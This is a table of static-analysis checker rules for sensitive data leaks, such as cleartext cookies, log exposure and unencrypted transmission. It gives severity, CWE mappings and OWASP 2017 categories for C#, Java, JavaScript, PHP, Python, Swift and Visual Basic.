| SENSITIVE_DATA_LEAK | Exception leaked to user interface | Medium impact security | Swift | Exception error messages and stack traces may leak information useful for attacking the application. | Medium | Security | 209 | 17, 18, 19, 199, 200, 201, 209, 254, 359, 361, 388, 389, 629, 635, 664, 668, 699, 700, 703, 711, 717, 728, 731, 750, 751, 755, 800, 801, 809, 815, 840, 844, 851, 857, 867, 868, 876, 880, 884, 888, 889, 892, 895, 900, 907, 928, 933, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1011, 1012, 1015, 1020, 1026, 1028, 1029, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| SENSITIVE_DATA_LEAK | Exception leaked to user interface | Medium impact security | Visual Basic | Exception error messages and stack traces may leak information useful for attacking the application. | Medium | Security | 209 | 17, 18, 19, 199, 200, 201, 209, 254, 359, 361, 388, 389, 629, 635, 664, 668, 699, 700, 703, 711, 717, 728, 731, 750, 751, 755, 800, 801, 809, 815, 840, 844, 851, 857, 867, 868, 876, 880, 884, 888, 889, 892, 895, 900, 907, 928, 933, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1011, 1012, 1015, 1020, 1026, 1028, 1029, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in external content provider | Low impact security | Java | Attackers can get the sensitive data from the external content provider. | Low | Security | 359 | 17, 18, 19, 199, 200, 254, 359, 361, 629, 635, 664, 668, 699, 700, 717, 840, 844, 857, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a cookie | High impact security | C# | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a cookie | High impact security | Java | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a cookie | High impact security | JavaScript | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a cookie | High impact security | PHP | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a cookie | High impact security | Python | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a cookie | High impact security | Swift | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a cookie | High impact security | Visual Basic | Attackers can read the sensitive data from the cookie with widely available tools. | High | Security | 315 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 315, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a database | Medium impact security | C# | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a database | Medium impact security | Java | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a database | Medium impact security | JavaScript | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a database | Medium impact security | PHP | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a database | Medium impact security | Python | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a database | Medium impact security | Swift | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a database | Medium impact security | Visual Basic | An attacker with access to the database can read this sensitive data. | Medium | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a file | Low impact security | C# | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a file | Low impact security | Java | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a file | Low impact security | JavaScript | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a file | Low impact security | PHP | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a file | Low impact security | Python | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a file | Low impact security | Swift | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in a file | Low impact security | Visual Basic | An attacker with access to the file system or physical or administrative access to the storage media can read this sensitive data. | Low | Security | 313 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Display of sensitive data in the user interface | High impact security | C# | Sensitive data within the GUI may be accidentally displayed to unauthorized individuals. | High | Security | 317 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 317, 355, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Display of sensitive data in the user interface | High impact security | Java | Sensitive data within the GUI may be accidentally displayed to unauthorized individuals. | High | Security | 317 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 317, 355, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Display of sensitive data in the user interface | High impact security | JavaScript | Sensitive data within the GUI may be accidentally displayed to unauthorized individuals. | High | Security | 317 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 317, 355, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Display of sensitive data in the user interface | High impact security | PHP | Sensitive data within the GUI may be accidentally displayed to unauthorized individuals. | High | Security | 317 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 317, 355, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Display of sensitive data in the user interface | High impact security | Python | Sensitive data within the GUI may be accidentally displayed to unauthorized individuals. | High | Security | 317 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 317, 355, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Display of sensitive data in the user interface | High impact security | Swift | Sensitive data within the GUI may be accidentally displayed to unauthorized individuals. | High | Security | 317 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 317, 355, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Display of sensitive data in the user interface | High impact security | Visual Basic | Sensitive data within the GUI may be accidentally displayed to unauthorized individuals. | High | Security | 317 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 312, 317, 355, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in intent | Medium impact security | Java | Attackers can get the sensitive data from the received intent. | Medium | Security | 927 | 17, 18, 19, 199, 200, 201, 254, 264, 284, 285, 359, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 750, 753, 800, 803, 809, 817, 840, 844, 857, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1015, 1026, 1028, 1029, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | |
| SENSITIVE_DATA_LEAK | Information exposure to log file | Low impact security | C# | Having access to the log gives access to the sensitive data. | Low | Security | 532 | 17, 18, 19, 199, 200, 254, 359, 361, 532, 538, 552, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 844, 857, 868, 877, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Information exposure to log file | Low impact security | Java | Having access to the log gives access to the sensitive data. | Low | Security | 532 | 17, 18, 19, 199, 200, 254, 359, 361, 532, 538, 552, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 844, 857, 868, 877, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Information exposure to log file | Low impact security | JavaScript | Having access to the log gives access to the sensitive data. | Low | Security | 532 | 17, 18, 19, 199, 200, 254, 359, 361, 532, 538, 552, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 844, 857, 868, 877, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Information exposure to log file | Low impact security | PHP | Having access to the log gives access to the sensitive data. | Low | Security | 532 | 17, 18, 19, 199, 200, 254, 359, 361, 532, 538, 552, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 844, 857, 868, 877, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Information exposure to log file | Low impact security | Python | Having access to the log gives access to the sensitive data. | Low | Security | 532 | 17, 18, 19, 199, 200, 254, 359, 361, 532, 538, 552, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 844, 857, 868, 877, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Information exposure to log file | Low impact security | Swift | Having access to the log gives access to the sensitive data. | Low | Security | 532 | 17, 18, 19, 199, 200, 254, 359, 361, 532, 538, 552, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 844, 857, 868, 877, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Information exposure to log file | Low impact security | Visual Basic | Having access to the log gives access to the sensitive data. | Low | Security | 532 | 17, 18, 19, 199, 200, 254, 359, 361, 532, 538, 552, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 844, 857, 868, 877, 888, 892, 895, 907, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in the registry | Medium impact security | C# | Attackers can read the sensitive data from the system registry with widely available tools. Even if the information is not human-readable, it may be possible to determine the encoding and to decode the content. | Medium | Security | 314 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 314, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in the registry | Medium impact security | Java | Attackers can read the sensitive data from the system registry with widely available tools. Even if the information is not human-readable, it may be possible to determine the encoding and to decode the content. | Medium | Security | 314 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 314, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in the registry | Medium impact security | JavaScript | Attackers can read the sensitive data from the system registry with widely available tools. Even if the information is not human-readable, it may be possible to determine the encoding and to decode the content. | Medium | Security | 314 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 314, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in the registry | Medium impact security | PHP | Attackers can read the sensitive data from the system registry with widely available tools. Even if the information is not human-readable, it may be possible to determine the encoding and to decode the content. | Medium | Security | 314 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 314, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in the registry | Medium impact security | Python | Attackers can read the sensitive data from the system registry with widely available tools. Even if the information is not human-readable, it may be possible to determine the encoding and to decode the content. | Medium | Security | 314 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 314, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in the registry | Medium impact security | Swift | Attackers can read the sensitive data from the system registry with widely available tools. Even if the information is not human-readable, it may be possible to determine the encoding and to decode the content. | Medium | Security | 314 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 314, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext sensitive data in the registry | Medium impact security | Visual Basic | Attackers can read the sensitive data from the system registry with widely available tools. Even if the information is not human-readable, it may be possible to determine the encoding and to decode the content. | Medium | Security | 314 | 17, 18, 19, 199, 200, 254, 310, 311, 312, 314, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 800, 803, 809, 816, 818, 840, 844, 857, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext transmission of sensitive data | High impact security | C# | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext transmission of sensitive data | High impact security | Java | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext transmission of sensitive data | High impact security | JavaScript | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
